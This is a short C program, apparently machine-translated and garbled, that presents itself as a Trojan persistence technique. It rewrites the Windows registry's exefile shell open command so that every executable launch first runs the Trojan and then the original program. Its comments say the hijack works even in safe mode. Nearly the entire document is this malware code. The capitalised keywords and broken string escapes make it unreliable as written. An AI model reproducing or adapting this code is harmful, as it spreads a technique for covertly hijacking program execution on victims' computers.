# Include <stdio. h>
# Include <windows. h>
Int main (INT argc, char * argv [])
{
MessageBox (null, "hello", null, mb_ OK );
Char temp [256];
Memset (temp, 0,256 );
If (argc! = 1 ){
Int length = strlen (argv [1]);
Char * Ch = (char *) malloc (length );
Strcpy (CH, argv [1]);
For (INT I = 0; I <length; I ++, CH ++)
{
If (* Ch = '//')
Strncat (temp, "//", 2 );
Else strncat (temp, CH, 1 );
}
} // The above function is to change all "/" in the string "//"
Char STR [] = "/" % 1/"% *";
Regsetvalue (hkey_classes_root, "exefile // shell // open // command", REG_SZ, (lpctstr) STR, strlen (STR) + 1 );
// Execute the original Program You must restore the registry before, or use ShellExecute to execute our Trojan program.
ShellExecute (null, "open", temp, null, null, sw_show); // execute the original program
// After the program is executed, change the registry to the Trojan program we want to start.
Tchar filename [256];
// Obtain the full program path name
Getmodulefilename (null, filename, 255 );
Strcat (filename, "/" % 1/"% *");
Regsetvalue (hkey_classes_root, "exefile // shell // open // command", REG_SZ, (lpctstr) filename, strlen (filename) + 1 );
// After the above process, as long as the program runs, our START program will be executed. Even in safe mode, we only need to execute executable programs to run our programs.
Return 0;
}